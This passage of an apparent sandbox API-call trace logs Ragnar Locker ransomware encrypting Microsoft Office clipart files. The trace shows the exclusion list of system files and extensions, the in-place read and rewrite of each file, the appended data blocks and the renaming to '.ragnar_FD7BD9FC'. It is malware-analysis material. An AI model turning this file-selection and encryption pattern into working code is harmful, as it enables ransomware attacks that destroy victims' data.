ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0085.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.537] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187819.WMF" | out: lpString1="J0187819.WMF") returned="J0187819.WMF" [0085.537] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned=".WMF" [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="autorun.inf") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="boot.ini") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="bootfont.bin") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="bootsect.bak") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="bootmgr") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="bootmgr.efi") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="bootmgfw.efi") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="desktop.ini") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="iconcache.db") returned 1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="ntldr") returned -1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="ntuser.dat") returned -1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="ntuser.dat.log") returned -1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="ntuser.ini") returned -1 [0085.537] lstrcmpiW (lpString1="J0187819.WMF", lpString2="thumbs.db") returned -1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.537] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 0x20 [0085.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.538] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10352) returned 1 [0085.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2867, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.538] GetProcessHeap () returned 0x580000 [0085.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.538] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.540] VirtualAlloc (lpAddress=0x0, dwSize=0x2870, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.540] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2870, lpOverlapped=0x0) returned 1 [0085.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.541] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2870, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.541] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2870, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2870, lpOverlapped=0x0) returned 1 [0085.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2870, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.541] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2870, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.542] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.542] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.542] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.542] GetProcessHeap () returned 0x580000 [0085.542] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.542] CloseHandle (hObject=0xf4) returned 1 [0085.542] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" [0085.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.ragnar_FD7BD9FC" [0085.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.543] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0085.543] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.543] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187825.WMF" | out: lpString1="J0187825.WMF") returned="J0187825.WMF" [0085.543] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned=".WMF" [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="autorun.inf") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="boot.ini") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="bootfont.bin") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="bootsect.bak") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="bootmgr") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="bootmgr.efi") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="bootmgfw.efi") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="desktop.ini") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="iconcache.db") returned 1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="ntldr") returned -1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="ntuser.dat") returned -1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="ntuser.dat.log") returned -1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="ntuser.ini") returned -1 [0085.543] lstrcmpiW (lpString1="J0187825.WMF", lpString2="thumbs.db") returned -1 [0085.543] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.543] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.543] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.543] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.544] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.544] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.544] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 0x20 [0085.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.544] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7500) returned 1 [0085.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.544] GetProcessHeap () returned 0x580000 [0085.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.544] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.546] VirtualAlloc (lpAddress=0x0, dwSize=0x1d4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.546] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d4c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d4c, lpOverlapped=0x0) returned 1 [0085.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.547] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.547] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d4c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d4c, lpOverlapped=0x0) returned 1 [0085.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.547] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.547] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.547] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.548] GetProcessHeap () returned 0x580000 [0085.548] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.548] CloseHandle (hObject=0xf4) returned 1 [0085.548] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" [0085.548] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.ragnar_FD7BD9FC" [0085.548] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0085.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.548] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187829.WMF" | out: lpString1="J0187829.WMF") returned="J0187829.WMF" [0085.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned=".WMF" [0085.548] lstrcmpiW (lpString1="J0187829.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.548] lstrcmpiW (lpString1="J0187829.WMF", lpString2="autorun.inf") returned 1 [0085.548] lstrcmpiW (lpString1="J0187829.WMF", lpString2="boot.ini") returned 1 [0085.548] lstrcmpiW (lpString1="J0187829.WMF", lpString2="bootfont.bin") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="bootsect.bak") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="bootmgr") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="bootmgr.efi") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="bootmgfw.efi") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="desktop.ini") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="iconcache.db") returned 1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="ntldr") returned -1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="ntuser.dat") returned -1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="ntuser.dat.log") returned -1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="ntuser.ini") returned -1 [0085.549] lstrcmpiW (lpString1="J0187829.WMF", lpString2="thumbs.db") returned -1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.549] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 0x20 [0085.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.549] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12352) returned 1 [0085.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3037, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.550] GetProcessHeap () returned 0x580000 [0085.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.550] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.551] VirtualAlloc (lpAddress=0x0, dwSize=0x3040, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.552] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3040, lpOverlapped=0x0) returned 1 [0085.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3040, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.553] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3040, lpOverlapped=0x0) returned 1 [0085.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3040, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.553] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.554] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.554] GetProcessHeap () returned 0x580000 [0085.554] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.554] CloseHandle (hObject=0xf4) returned 1 [0085.554] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" [0085.554] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.ragnar_FD7BD9FC" [0085.554] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.555] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0085.555] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.555] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187835.WMF" | out: lpString1="J0187835.WMF") returned="J0187835.WMF" [0085.555] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned=".WMF" [0085.555] lstrcmpiW (lpString1="J0187835.WMF", 